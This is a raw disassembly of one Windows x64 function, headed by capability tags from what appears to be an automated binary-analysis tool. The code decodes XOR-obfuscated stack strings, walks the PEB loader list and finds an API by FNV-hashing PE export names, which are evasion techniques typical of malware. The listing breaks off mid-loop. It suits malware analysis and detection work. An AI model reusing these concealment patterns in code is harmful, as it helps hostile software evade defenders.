Function at 0x1401b27f0
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x780]
sub rsp, 0x880
mov edi, 0xf
mov r12, rdx
mov r15, rcx
xor r13b, r13b
lea r14, [rdi - 0x10]
xor esi, esi
call fcn.140140f70
cmp dword [rax + 0x30], 0xa
jb 0x1401b2952
mov dword [rbp + 0x11a], 0x640053
mov ecx, esi
mov dword [rbp + 0x11e], 0x67006c
mov dword [rbp + 0x122], 0x6b006d
mov dword [rbp + 0x126], 0x270061
mov dword [rbp + 0x12a], 0x68006c
mov dword [rbp + 0x12e], 0x6a007e
mov dword [rbp + 0x132], 0x6b002c
mov dword [rbp + 0x136], 0x66006f
mov dword [rbp + 0x13a], 0x74007c
mov dword [rbp + 0x13e], 0x330076
mov dword [rbp + 0x142], 0x730075
mov dword [rbp + 0x146], 0x720062
mov dword [rbp + 0x14a], 0x39006a
mov dword [rbp + 0x14e], 0x2b002b
mov dword [rbp + 0x152], 0x7c003c
mov dword [rbp + 0x156], 0x6b006a
mov dword [rbp + 0x15a], 0x4c0045
mov dword [rbp + 0x15e], 0x570052
mov dword [rbp + 0x162], 0x50057
mov dword [rbp + 0x166], 0x41000e
mov dword [rbp + 0x16a], 0xc0008
mov dword [rbp + 0x16e], 0x2004e
mov dword [rbp + 0x172], 2
nop word [rax + rax]
movsxd rax, ecx
xor word [rbp + rax*2 + 0x11a], cx
inc ecx
cmp ecx, 0x2d
jb 0x1401b2920
mov r8d, 0x15
mov word [rbp + 0x174], si
lea rdx, [rbp + 0x11a]
xor ecx, ecx
call fcn.1401a8110
call fcn.1401a9e40
lea rdx, [rbp + 0x7d0]
mov qword [rbp + 0x3d8], rsi
lea rcx, [rbp + 0x358]
mov qword [rbp + 0x3e8], rsi
mov qword [rbp + 0x3e0], rsi
mov qword [rbp + 0x3f0], rsi
mov byte [rbp + 0x7d0], r13b
mov qword [rbp + 0x358], rsi
mov qword [rbp + 0x368], rsi
mov qword [rbp + 0x370], rdi
call fcn.14013eec4
lea rdx, [rbp + 0x7d8]
mov byte [rbp + 0x7d8], r13b
lea rcx, [rbp + 0x3f8]
mov qword [rbp + 0x3f8], rsi
mov qword [rbp + 0x408], rsi
mov qword [rbp + 0x410], rdi
call fcn.14013eec4
lea rdx, [rsp + 0x54]
mov byte [rsp + 0x54], r13b
lea rcx, [rbp + 0x18]
mov qword [rbp + 0x18], rsi
mov qword [rbp + 0x28], rsi
mov qword [rbp + 0x30], rdi
call fcn.14013eec4
lea rdx, [rsp + 0x55]
mov byte [rsp + 0x55], r13b
lea rcx, [rbp - 0x48]
mov qword [rbp - 0x48], rsi
mov qword [rbp - 0x38], rsi
mov qword [rbp - 0x30], rdi
call fcn.14013eec4
lea rdx, [rsp + 0x56]
mov byte [rsp + 0x56], r13b
lea rcx, [rbp - 0x18]
mov qword [rbp - 0x18], rsi
mov qword [rbp - 8], rsi
mov qword [rbp], rdi
call fcn.14013eec4
mov rax, r14
nop dword [rax]
inc rax
cmp byte [r15 + rax], r13b
jne 0x1401b2a30
add eax, 0xfffffffd
cmp eax, 0x1d
ja 0x1401b45a5
mov rax, r14
nop dword [rax + rax]
inc rax
cmp byte [r12 + rax], r13b
jne 0x1401b2a50
add eax, 0xfffffff8
cmp eax, 8
ja 0x1401b442c
lea rcx, [rbp + 0x3d8]
call fcn.1401a92b0
lea rcx, [rbp + 0x568]
call fcn.1401a9390
mov rbx, rax
lea rax, [rbp - 0x18]
cmp rax, rbx
je 0x1401b2af0
mov rdx, qword [rbp]
cmp rdx, 0x10
jb 0x1401b2ac4
mov rcx, qword [rbp - 0x18]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401b2abf
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401b4781
call fcn.1403cad84
mov qword [rbp - 8], rsi
mov qword [rbp], rdi
mov byte [rbp - 0x18], r13b
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x18], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 8], xmm1
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], rdi
mov byte [rbx], r13b
nop word [rax + rax]
mov rdx, qword [rbp + 0x580]
cmp rdx, 0x10
jb 0x1401b2b31
mov rcx, qword [rbp + 0x568]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401b2b2c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401b4781
call fcn.1403cad84
xor edx, edx
mov qword [rbp + 0x578], rsi
lea rcx, [rbp + 0x10]
mov qword [rbp + 0x580], rdi
mov byte [rbp + 0x568], r13b
mov byte [rbp + 8], r13b
call fcn.1401c4470
lea rcx, [rbp + 8]
call fcn.1401c3b10
lea rcx, [rbp + 8]
call fcn.1401c3b10
mov rdi, qword [rbp + 0x3e0]
xor eax, eax
mov rbx, qword [rbp + 0x3d8]
mov qword [rbp - 0x20], rax
mov byte [rbp - 0x28], 2
lea ecx, [rax + 0x18]
call fcn.1403caaf4
mov r8, rdi
mov rdx, rbx
mov rcx, rax
mov rsi, rax
call fcn.1401d8150
test rsi, rsi
jne 0x1401b2bb6
mov r8d, 0x3c17
lea rdx, [0x1404cc580]
lea rcx, [0x1404cded8]
call fcn.1403df56c
lea rcx, [rbp - 0x28]
mov qword [rbp - 0x20], rsi
call fcn.1401c3b10
lea rcx, [rbp - 0x28]
call fcn.1401c3b10
xor eax, eax
mov dword [rsp + 0x57], 0x474b424c
xor esi, esi
mov byte [rsp + 0x5b], al
mov ecx, esi
nop
movsxd rax, ecx
xor byte [rsp + rax + 0x57], cl
inc ecx
cmp ecx, 4
jb 0x1401b2be0
lea rdx, [rsp + 0x57]
mov byte [rsp + 0x5b], sil
lea rcx, [rbp + 8]
call fcn.1401c7720
lea rcx, [rbp - 0x28]
mov rbx, rax
call fcn.1401c3b10
movzx edx, byte [rbx]
movzx ecx, byte [rbp - 0x28]
mov byte [rbx], cl
mov byte [rbp - 0x28], dl
mov rcx, qword [rbx + 8]
mov rdx, qword [rbp - 0x20]
mov qword [rbx + 8], rdx
mov qword [rbp - 0x20], rcx
mov rcx, rbx
call fcn.1401c3b10
lea rcx, [rbp - 0x28]
call fcn.1401c3b10
movzx edx, byte [rbp - 0x28]
lea rcx, [rbp - 0x20]
call fcn.1401c2dd0
lea rdx, [rbp + 0x430]
lea rcx, [rbp + 8]
call fcn.1401c1de0
mov byte [rbp + 0x2e0], sil
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1401b2ce7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1401b2ce7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xc3860b29
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1401b2ce2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1401b2cc0
cmp r8d, 0xaca30a2b
je 0x1401b2cec
test r9d, r9d
jne 0x1401b2ca0
mov rax, qword [rax]
jmp 0x1401b2c70
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
movzx ecx, ax
lea rdx, [rbp + 0x2e0]
mov r8d, 0xa
call fcn.1403e1154
lea rcx, [rbp + 0x2e0]
mov rax, r14
inc rax
cmp byte [rcx + rax], sil
jne 0x1401b2d24
test rax, rax
jne 0x1401b2da0
movzx eax, byte [0x1404c9774]
mov ecx, esi
mov byte [rsp + 0x40], al
xor eax, eax
mov byte [rsp + 0x41], al
nop word [rax + rax]
movsxd rax, ecx
xor byte [rsp + rax + 0x40], cl
inc ecx
cmp ecx, 1
jb 0x1401b2d50
lea rcx, [rbp + 0x2e0]
mov byte [rsp + 0x41], sil
dec rcx
nop dword [rax]
cmp byte [rcx + 1], sil
lea rcx, [rcx + 1]
jne 0x1401b2d70
lea r8, [rsp + 0x40]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x1401b2d90
call fcn.140141104
cmp qword [rbp + 0x448], 0x10
lea rbx, [rbp + 0x430]
lea rdi, [rbp - 0x18]
mov dword [rbp - 0x58], 0x26387225
cmovae rbx, qword [rbp + 0x430]
mov rsi, rax
cmp qword [rbp], 0x10
mov dword [rbp - 0x54], 0x74233f77
cmovae rdi, qword [rbp - 0x18]
xor eax, eax
xor edx, edx
mov dword [rbp - 0x50], 0x31792c32
mov ecx, edx
mov word [rbp - 0x4c], 0x7e29
mov byte [rbp - 0x4a], al
movsxd rax, ecx
xor byte [rbp + rax - 0x58], cl
inc ecx
cmp ecx, 0xe
jb 0x1401b2df1
mov byte [rbp - 0x4a], dl
lea rcx, [rbp + 0x5d0]
mov qword [rbp + 0x5d0], rdx
mov eax, 0xf
mov qword [rbp + 0x5e0], rdx
lea rdx, [rbp - 0x58]
mov qword [rbp + 0x5e8], rax
call fcn.14013eec4
mov qword [rsp + 0x38], rbx
lea rax, [rbp + 0x2e0]
mov qword [rsp + 0x30], rax
lea r8, [rbp + 0x5d0]
mov qword [rsp + 0x28], rdi
lea rdx, [rbp + 0x588]
mov r9, r15
mov qword [rsp + 0x20], r12
mov rcx, rsi
call fcn.1401a5020
mov rbx, rax
lea rax, [rbp - 0x48]
cmp rax, rbx
je 0x1401b2ee0
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x1401b2ea7
mov rcx, qword [rbp - 0x48]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401b2ea2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401b4781
call fcn.1403cad84
xor edi, edi
mov esi, 0xf
mov qword [rbp - 0x38], rdi
mov qword [rbp - 0x30], rsi
mov byte [rbp - 0x48], dil
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x48], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x38], xmm1
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rsi
mov byte [rbx], dil
jmp 0x1401b2ee5
xor edi, edi
lea esi, [rdi + 0xf]
mov rdx, qword [rbp + 0x5a0]
cmp rdx, 0x10
jb 0x1401b2f26
mov rcx, qword [rbp + 0x588]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401b2f21
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401b4781
call fcn.1403cad84
mov qword [rbp + 0x598], rdi
mov qword [rbp + 0x5a0], rsi
mov byte [rbp + 0x588], r13b
call fcn.140140ddc
cmp qword [rbp - 0x30], 0x10
lea rsi, [rbp - 0x48]
mov qword [rbp + 0x480], rdi
cmovae rsi, qword [rbp - 0x48]
mov qword [rbp + 0x490], rdi
mov qword [rbp + 0x498], rdi
mov rdi, qword [rbp - 0x38]
cmp rdi, 0x10
jae 0x1401b2f85
movups xmm0, xmmword [rsi]
mov eax, 0xf
mov qword [rbp + 0x498], rax
movups xmmword [rbp + 0x480], xmm0
jmp 0x1401b3004
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1401b2fd9
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1401b477b
mov rcx, rax
call fcn.1403caaf4
mov rcx, rax
test rax, rax
je 0x1401b4781
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1401b2fe7
test rcx, rcx
je 0x1401b2fe5
call fcn.1403caaf4
jmp 0x1401b2fe7
xor eax, eax
lea r8, [rdi + 1]
mov qword [rbp + 0x480], rax
mov rdx, rsi
mov rcx, rax
call fcn.1403cc5a0
mov qword [rbp + 0x498], rbx
lea r8, [rbp + 0x3f0]
mov qword [rbp + 0x490], rdi
lea rdx, [rbp + 0x358]
lea rcx, [rbp + 0x480]
call fcn.1401db4d0
cmp qword [rbp - 0x30], 0x10
lea rcx, [rbp - 0x48]
cmovae rcx, qword [rbp - 0x48]
xor r9d, r9d
mov qword [rbp - 0x38], r9
mov byte [rcx], r9b
test al, al
je 0x1401b437a
cmp qword [rbp + 0x370], 0x10
lea rsi, [rbp + 0x358]
mov rdi, qword [rbp + 0x368]
cmovae rsi, qword [rbp + 0x358]
cmp rdi, 0x10
jae 0x1401b308b
movups xmm0, xmmword [rsi]
mov qword [rbp + 0x558], rdi
mov edi, 0xf
mov qword [rbp + 0x560], rdi
movups xmmword [rbp + 0x548], xmm0
jmp 0x1401b3117
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1401b30df
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1401b477b
mov rcx, rax
call fcn.1403caaf4
mov rcx, rax
test rax, rax
je 0x1401b4781
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1401b30ee
test rcx, rcx
je 0x1401b30eb
call fcn.1403caaf4
jmp 0x1401b30ee
mov rax, r9
lea r8, [rdi + 1]
mov qword [rbp + 0x548], rax
mov rdx, rsi
mov rcx, rax
call fcn.1403cc5a0
mov qword [rbp + 0x558], rdi
mov edi, 0xf
mov qword [rbp + 0x560], rbx
lea r8, [rbp + 0x3f8]
mov ecx, 0x15
lea rdx, [rbp + 0x548]
call fcn.1401c7930
test al, al
je 0x1401b32bf
cmp qword [rbp - 0x30], 0x10
lea rax, [rbp - 0x48]
cmovae rax, qword [rbp - 0x48]
xor esi, esi
mov qword [rbp - 0x38], rsi
mov byte [rax], sil
call fcn.140140ddc
cmp qword [rbp + 0x410], 0x10
lea rdx, [rbp + 0x3f8]
mov rcx, qword [rbp + 0x3f0]
lea r8, [rbp + 0x18]
cmovae rdx, qword [rbp + 0x3f8]
call fcn.1401dc500
test al, al
jne 0x1401b3457
lea ecx, [rsi + 0x64]
call qword [sym.imp.kernel32.dll_Sleep]
call fcn.140140f70
inc dword [rax + 0x30]
mov rdx, qword [rbp + 0x448]
cmp rdx, 0x10
jb 0x1401b31d4
mov rcx, qword [rbp + 0x430]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401b31cf
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401b4781
call fcn.1403cad84
lea rcx, [rbp + 8]
mov qword [rbp + 0x440], rsi
mov qword [rbp + 0x448], rdi
mov byte [rbp + 0x430], sil
call fcn.1401c3b10
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0x10]
call fcn.1401c2dd0
mov rdx, qword [rbp]
cmp rdx, 0x10
jb 0x1401b323a
mov rcx, qword [rbp - 0x18]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401b3235
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401b4781
call fcn.1403cad84
mov rdx, qword [rbp - 0x30]
mov qword [rbp - 8], rsi
mov qword [rbp], rdi
mov byte [rbp - 0x18], sil
cmp rdx, 0x10
jb 0x1401b3281
mov rcx, qword [rbp - 0x48]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401b327c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401b4781
call fcn.1403cad84
lea rcx, [rbp + 0x18]
mov qword [rbp - 0x38], rsi
mov qword [rbp - 0x30], rdi
mov byte [rbp - 0x48], sil
call fcn.14013ecc0
lea rcx, [rbp + 0x3f8]
call fcn.14013ecc0
lea rcx, [rbp + 0x358]
call fcn.14013ecc0
lea rcx, [rbp + 0x3d8]
call fcn.1401a64d0
jmp 0x1401b2823
call fcn.140140f70
mov ebx, dword [rax + 0x28]
call fcn.140140f70
cmp dword [rax + 0x24], ebx
jbe 0x1401b33eb
mov ecx, dword [0x140548a38]
cmp ecx, 0x1c
je 0x1401b32ec
lea eax, [rcx - 7]
cmp eax, 1
ja 0x1401b336d
movdqa xmm0, xmmword [0x1404d0550]
xor ebx, ebx
movdqa xmm1, xmmword [0x1404d0070]
mov ecx, ebx
movdqu xmmword [rbp + 0x328], xmm0
mov dword [rbp + 0x348], 0x35b594f
movdqu xmmword [rbp + 0x338], xmm1
mov dword [rbp + 0x34c], 0x51544057
mov dword [rbp + 0x350], 0x584f4a41
mov word [rbp + 0x354], 2
nop word [rax + rax]
movsxd rax, ecx
xor byte [rbp + rax + 0x328], cl
inc ecx
cmp ecx, 0x2d
jb 0x1401b3340
lea rdx, [rbp + 0x328]
mov byte [rbp + 0x355], bl
xor ecx, ecx
call fcn.1401a7f70
mov ecx, dword [0x140548a38]
jmp 0x1401b336f
xor ebx, ebx
cmp ecx, 6
jne 0x1401b33e6
movdqa xmm0, xmmword [0x1404d0590]
xor eax, eax
movdqa xmm1, xmmword [0x1404d01c0]
mov ecx, ebx
movdqu xmmword [rbp + 0x510], xmm0
mov dword [rbp + 0x540], 0x1d5c465f
movdqa xmm0, xmmword [0x1404cf700]
movdqu xmmword [rbp + 0x530], xmm0
mov byte [rbp + 0x544], al
movdqu xmmword [rbp + 0x520], xmm1
nop dword [rax + rax]
movsxd rax, ecx
xor byte [rbp + rax + 0x510], cl
inc ecx
cmp ecx, 0x34
jb 0x1401b33c0
lea rdx, [rbp + 0x510]
mov byte [rbp + 0x544], r13b
xor ecx, ecx
call fcn.1401a7f70
call fcn.1401a9e40
mov ecx, 0x1388
call qword [sym.imp.kernel32.dll_Sleep]
call fcn.140140f70
lea rcx, [rbp + 0x430]
inc dword [rax + 0x24]
call fcn.14013ecc0
lea rcx, [rbp + 8]
call fcn.1401c2010
lea rcx, [rbp - 0x18]
call fcn.14013ecc0
lea rcx, [rbp - 0x48]
call fcn.14013ecc0
lea rcx, [rbp + 0x18]
call fcn.14013ecc0
lea rcx, [rbp + 0x3f8]
call fcn.14013ecc0
lea rcx, [rbp + 0x358]
call fcn.14013ecc0
lea rcx, [rbp + 0x3d8]
call fcn.1401a64d0
jmp 0x1401b2821
call fcn.140140f70
lea rcx, [rbp + 0x18]
mov dword [rax + 0x30], esi
cmp qword [rbp + 0x30], 0x10
mov r8, qword [rbp + 0x28]
jb 0x1401b3477
mov rdx, qword [rbp + 0x18]
add r8, rdx
jmp 0x1401b347e
add r8, rcx
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x500]
call fcn.1401cd140
mov rax, qword [rbp + 0x508]
mov qword [rbp + 0x658], rsi
test rax, rax
je 0x1401b34a1
lock inc dword [rax + 8]
movaps xmm0, xmmword [rbp + 0x500]
lea r8, [rbp + 0x620]
lea rdx, [rbp + 0x5c0]
movdqa xmmword [rbp + 0x5c0], xmm0
lea rcx, [rbp + 0x6a0]
call fcn.1401c39c0
lea rdx, [rbp - 0x49]
mov rcx, rax
call fcn.1401c88e0
lea rcx, [rbp + 0x6e8]
movzx edi, al
call fcn.1401c21b0
mov rcx, qword [rbp + 0x6d8]
test rcx, rcx
je 0x1401b350c
mov r8, qword [rcx]
lea rax, [rbp + 0x6a0]
cmp rcx, rax
setne dl
call qword [r8 + 0x20]
mov qword [rbp + 0x6d8], rsi
mov rbx, qword [rbp + 0x5c8]
test rbx, rbx
je 0x1401b3543
mov eax, r14d
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x1401b3543
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r14d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x1401b3543
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
mov rbx, qword [rbp + 0x508]
test rbx, rbx
je 0x1401b357a
mov eax, r14d
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x1401b357a
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r14d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x1401b357a
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
test dil, dil
je 0x1401b4261
cmp qword [rbp + 0x30], 0x10
lea rcx, [rbp + 0x18]
mov r8, qword [rbp + 0x28]
mov qword [rbp + 0x698], rsi
jb 0x1401b35a2
mov rdx, qword [rbp + 0x18]
add r8, rdx
jmp 0x1401b35a9
add r8, rcx
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x5a8]
call fcn.1401cd140
lea r8, [rbp + 0x660]
lea rdx, [rbp + 0x5a8]
lea rcx, [rsp + 0x60]
call fcn.1401c1a30
mov rbx, qword [rbp + 0x5b0]
test rbx, rbx
je 0x1401b3603
mov eax, r14d
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x1401b3603
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
lock xadd dword [rbx + 0xc], r14d
cmp r14d, 1
jne 0x1401b3603
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
xor eax, eax
mov dword [rsp + 0x70], 0x73716472
mov byte [rsp + 0x78], al
mov ecx, esi
mov dword [rsp + 0x74], 0x62756b6b
nop dword [rax + rax]
movsxd rax, ecx
xor byte [rsp + rax + 0x70], cl
inc ecx
cmp ecx, 8
jb 0x1401b3620
mov edi, 0xf
mov byte [rsp + 0x78], sil
lea rdx, [rsp + 0x70]
mov qword [rbp + 0x4b8], rdi
lea rcx, [rbp + 0x4a0]
mov qword [rbp + 0x4a0], rsi
mov qword [rbp + 0x4b0], rsi
call fcn.14013eec4
movzx ecx, byte [rsp + 0x60]
test ecx, ecx
je 0x1401b37ca
sub ecx, 1
je 0x1401b3683
cmp ecx, 1
jne 0x1401b3697
mov rcx, qword [rsp + 0x68]
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
jmp 0x1401b368c
mov rax, qword [rsp + 0x68]
cmp qword [rax + 8], rsi
sete al
test al, al
jne 0x1401b37ca
lea r8, [rbp + 0x4a0]
lea rdx, [rbp + 0x600]
lea rcx, [rsp + 0x60]
call fcn.1401c7580
lea rdx, [rsp + 0x60]
xorps xmm0, xmm0
mov qword [rbp + 0x308], rdx
mov rbx, rax
xorps xmm1, xmm1
movabs rax, 0x8000000000000000
movdqu xmmword [rbp + 0x310], xmm0
movdqu xmmword [rbp + 0x318], xmm1
mov qword [rbp + 0x320], rax
test rdx, rdx
jne 0x1401b370a
mov r8d, 0x24b3
lea rdx, [0x1404cc580]
lea rcx, [0x1404cca80]
call fcn.1403df56c
mov rdx, qword [rbp + 0x308]
movzx ecx, byte [rdx]
sub ecx, 1
je 0x1401b3720
cmp ecx, 1
jne 0x1401b3727
mov qword [rbp + 0x318], rsi
jmp 0x1401b3727
mov qword [rbp + 0x310], rsi
movzx ecx, byte [rdx]
sub ecx, 1
je 0x1401b3752
cmp ecx, 1
je 0x1401b3741
mov qword [rbp + 0x320], 1
jmp 0x1401b3760
mov rax, qword [rdx + 8]
mov rcx, qword [rax + 8]
mov qword [rbp + 0x318], rcx
jmp 0x1401b3760
mov rax, qword [rdx + 8]
mov r8, qword [rax]
mov qword [rbp + 0x310], r8
mov rax, qword [rbx]
cmp rax, rdx
jne 0x1401b4775
test rax, rax
jne 0x1401b378d
mov r8d, 0x25f0
lea rdx, [0x1404cc580]
lea rcx, [0x1404cca80]
call fcn.1403df56c
mov rax, qword [rbx]
movzx ecx, byte [rax]
sub ecx, 1
je 0x1401b37b4
cmp ecx, 1
je 0x1401b37a7
mov rax, qword [rbp + 0x320]
cmp qword [rbx + 0x18], rax
jmp 0x1401b37bf
mov rax, qword [rbp + 0x318]
cmp qword [rbx + 0x10], rax
jmp 0x1401b37bf
mov rax, qword [rbp + 0x310]
cmp qword [rbx + 8], rax
sete al
test al, al
jne 0x1401b37ca
mov bl, 1
jmp 0x1401b37cc
xor bl, bl
mov rdx, qword [rbp + 0x4b8]
cmp rdx, 0x10
jb 0x1401b380d
mov rcx, qword [rbp + 0x4a0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401b3808
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401b4781
call fcn.1403cad84
mov qword [rbp + 0x4b0], rsi
mov ecx, esi
mov qword [rbp + 0x4b8], rdi
mov byte [rbp + 0x4a0], sil
test bl, bl
je 0x1401b412c
movdqa xmm0, xmmword [0x1404ceef0]
movdqu xmmword [rbp + 0x470], xmm0
nop dword [rax]
movsxd rax, ecx
xor byte [rbp + rax + 0x470], cl
inc ecx
cmp ecx, edi
jb 0x1401b3840
xor eax, eax
mov byte [rbp + 0x47f], sil
mov byte [rbp - 0x7f], al
mov ecx, esi
mov dword [rsp + 0x79], 0x73716472
mov dword [rsp + 0x7d], 0x62756b6b
nop
movsxd rax, ecx
xor byte [rsp + rax + 0x79], cl
inc ecx
cmp ecx, 8
jb 0x1401b3870
lea rdx, [rsp + 0x79]
mov byte [rbp - 0x7f], sil
lea rcx, [rsp + 0x60]
call fcn.1401c7720
mov qword [rbp + 0x398], rsi
mov r8, rsi
mov qword [rbp + 0x3a8], rsi
mov r9, rdi
mov qword [rbp + 0x3b0], rdi
cmp byte [rax], 3
jne 0x1401b4775
mov rdx, qword [rax + 8]
lea rax, [rbp + 0x398]
cmp rax, rdx
je 0x1401b38df
lea rcx, [rbp + 0x398]
call fcn.1401c3be0
mov r9, qword [rbp + 0x3b0]
mov r8, qword [rbp + 0x398]
cmp r9, 0x10
lea rcx, [rbp + 0x398]
lea rdx, [rbp + 0x470]
cmovae rcx, r8
call fcn.1403cbcb0
mov rdx, qword [rbp + 0x3b0]
mov rbx, rax
cmp rdx, 0x10
jb 0x1401b393e
mov rcx, qword [rbp + 0x398]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401b3939
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401b4781
call fcn.1403cad84
mov qword [rbp + 0x3a8], rsi
mov qword [rbp + 0x3b0], rdi
mov byte [rbp + 0x398], sil
test rbx, rbx
je 0x1401b3d67
call fcn.140140f70
mov dword [rbp - 0x73], 0x77636466
mov ecx, esi
mov dword [rbp - 0x6f], 0x74637771
mov dword [rbp - 0x6b], 0x677c6557
lea rbx, [rax + 0x42d0]
xor eax, eax
mov byte [rbp - 0x67], al
nop dword [rax]
nop dword [rax + rax]
movsxd rax, ecx
xor byte [rbp + rax - 0x73], cl
inc ecx
cmp ecx, 0xc
jb 0x1401b3990
lea rdx, [rbp - 0x73]
mov byte [rbp - 0x67], sil
lea rcx, [rsp + 0x60]
call fcn.1401c7720
mov r9, rax
movzx r8d, byte [rax]
mov edx, r8d
sub edx, 4
je 0x1401b3a0e
sub edx, 1
je 0x1401b39f5
sub edx, 1
je 0x1401b39e5
cmp edx, 1
jne 0x1401b4775
add rax, 8
cmp r8b, 7
cmovne rax, rsi
cvttsd2si rdi, qword [rax]
jmp 0x1401b3a1d
add rax, 8
cmp r8b, 6
cmovne rax, rsi
mov edi, dword [rax]
jmp 0x1401b3a1d
sub r8b, 5
lea rcx, [r9 + 8]
cmp r8b, 1
setbe al
test al, al
cmove rcx, rsi
mov edi, dword [rcx]
jmp 0x1401b3a1d
add rax, 8
cmp r8b, 4
cmovne rax, rsi
movzx edi, byte [rax]
xor eax, eax
mov dword [rbp - 0x7e], 0x5c6c6063
mov byte [rbp - 0x74], al
mov ecx, esi
mov dword [rbp - 0x7a], 0x686a7571
mov word [rbp - 0x76], 0x6d69
nop dword [rax + rax]
movsxd rax, ecx
xor byte [rbp + rax - 0x7e], cl
inc ecx
cmp ecx, 0xa
jb 0x1401b3a40
lea rdx, [rbp - 0x7e]
mov byte [rbp - 0x74], sil
lea rcx, [rsp + 0x60]
call fcn.1401c7720
mov rcx, rax
call fcn.1401c7800
test eax, eax
mov dword [rbp - 0x66], 0x6b767461
mov dword [rbp - 0x62], 0x587f675b
mov ecx, esi
setne r14b
mov dword [rbp - 0x5e], 0x626b646d
mov word [rbp - 0x5a], 0x60
nop dword [rax + rax]
movsxd rax, ecx
xor byte [rbp + rax - 0x66], cl
inc ecx
cmp ecx, 0xd
jb 0x1401b3a90
lea rdx, [rbp - 0x66]
mov byte [rbp - 0x59], sil
lea rcx, [rsp + 0x60]
call fcn.1401c7720
mov rcx, rax
call fcn.1401c7800
test eax, eax
mov dword [rsp + 0x4b], 0x6a636c65
mov word [rsp + 0x4f], 0x68
setne sil
xor r15d, r15d
mov ecx, r15d
nop dword [rax]
nop word [rax + rax]
movsxd rax, ecx
xor byte [rsp + rax + 0x4b], cl
inc ecx
cmp ecx, 5
jb 0x1401b3ae0
